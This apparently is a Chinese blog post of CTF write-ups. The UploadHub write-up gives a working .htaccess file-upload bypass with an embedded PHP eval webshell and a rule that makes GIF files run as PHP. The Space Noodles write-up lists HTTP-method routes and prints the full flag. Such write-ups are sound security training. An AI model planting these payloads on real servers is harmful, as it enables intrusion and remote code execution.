0%

buu6

[JMCTF 2021]UploadHub

考点:.hatccess文件上传。

一开始上传尝试上传一句话木马,无法正常解析,看了一下配置文件。

1
php_flag engine off

会使整个目录不解析php的,我们可以尝试上传一下.htaccess文件。这里修改的配置和之前不大一样。

1
2
3
4
5
6
7
8
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted #允许所有请求
php_flag engine on #开启PHP的解析
</FilesMatch>

php_value auto_prepend_file .htaccess #在主文件解析之前自动解析包含.htaccess的内容
#<?php eval($_POST['hhh']);?>

成功解析一句话木马。

补充一下htaccess一些用法:

SetHandler和ForceType
1
2
ForceType application/x-httpd-php
SetHandler application/x-httpd-php

这里将.htaccess文件解析成php,

直接用蚁剑读取flag不行,需要绕过disable_funtions,最后试了很多才读取到flag

1
hhh=var_dump(file_get_contents('/flag'));

由于 <Files>标签优先级高于<Directory>,所以可以上传:

1
2
3
4
<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>

这样之后上传的gif后缀的文件都可以被当作php解析。

参考:

JMCTF 2021UploadHub

https://blog.csdn.net/weixin_45669205/article/details/117047432

[b01lers2020]Space Noodles

先准备一些预备知识,学习一些比较少见的HTTP请求方式。

序号 方法 描述
1 GET 请求指定的页面信息,并返回实体主体。
2 HEAD 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。
5 DELETE 请求服务器删除指定的页面。
6 CONNECT HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。
9 PATCH 是对 PUT 方法的补充,用来对已知资源进行局部更新 。

题目一开始不允许get请求,修改成post请求。出现五个路由,后面逐个测试出结果。

1
2
3
4
5
1. OPTIONS  /circle/one/
2. DELETE /square/
3. CONNECT /two/
4. GET /com/seaerch/
5. TRACE /vim/quit/

然后获得相应信息拼接成flag。

flag{ketchup_on_noodles_tastes_good_in_space_too}

也可以使用curl命令下载相应的文件。

1
curl -X OPTIONS http://4237f0d0-c0ed-443f-a18a-9273705914f5.node4.buuoj.cn:81/circle/one/ --output hhh.pdf

参考:

CTFtime.org / b01lers CTF / Space Noodles / Writeup

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道